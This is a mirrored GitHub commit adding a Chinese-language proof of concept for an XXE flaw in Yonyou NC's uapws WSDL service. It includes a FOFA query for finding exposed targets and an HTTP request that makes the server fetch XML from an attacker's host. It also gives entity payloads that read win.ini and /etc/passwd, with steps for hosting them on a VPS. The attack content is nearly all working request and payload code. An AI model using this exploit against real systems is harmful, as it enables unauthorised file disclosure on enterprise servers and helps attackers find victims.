mirror of
https://github.com/wy876/POC.git
synced 2025-02-27 04:39:25 +00:00
Create 用友 NC uapws wsdl XXE漏洞.md
This commit is contained in:
parent
6f4e10adbc
commit
1b8661b365
40
用友 NC uapws wsdl XXE漏洞.md
Normal file
40
用友 NC uapws wsdl XXE漏洞.md
Normal file
@ -0,0 +1,40 @@
|
|||||||
|
## 用友 NC uapws wsdl XXE漏洞
|
||||||
|
用友 NC uapws wsdl 存在XXE漏洞
|
||||||
|
|
||||||
|
## fofa
|
||||||
|
```
|
||||||
|
app="用友-UFIDA-NC"
|
||||||
|
```
|
||||||
|
|
||||||
|
## poc
|
||||||
|
```
|
||||||
|
http://x.x.x.x/uapws/service/nc.uap.oba.update.IUpdateService?wsdl
|
||||||
|
|
||||||
|
GET /uapws/service/nc.uap.oba.update.IUpdateService?xsd=http://x.x.x.x/test.xml HTTP/1.1
|
||||||
|
Host:
|
||||||
|
Pragma: no-cache
|
||||||
|
Cache-Control: no-cache
|
||||||
|
Accept: text/plain, */*; q=0.01
|
||||||
|
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
|
||||||
|
```
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
## xxe读取文件
|
||||||
|
任意文件读取利用,需要VPS上建立对应操作系统的xml文件,然后开启http服务。xml文件如下
|
||||||
|
|
||||||
|
```
|
||||||
|
windows:
|
||||||
|
<?xml version="1.0"?><!DOCTYPE test [<!ENTITY name SYSTEM "file:///c://windows/win.ini">]><user><username>&name;</username><password>1</password></user>
|
||||||
|
|
||||||
|
linux:
|
||||||
|
evil.xml:
|
||||||
|
<?xml version="1.0"?><!DOCTYPE test [<!ENTITY name SYSTEM "file:///etc/passwd">]><user><username>&name;</username><password>1</password></user>
|
||||||
|
```
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
Loading…
x
Reference in New Issue
Block a user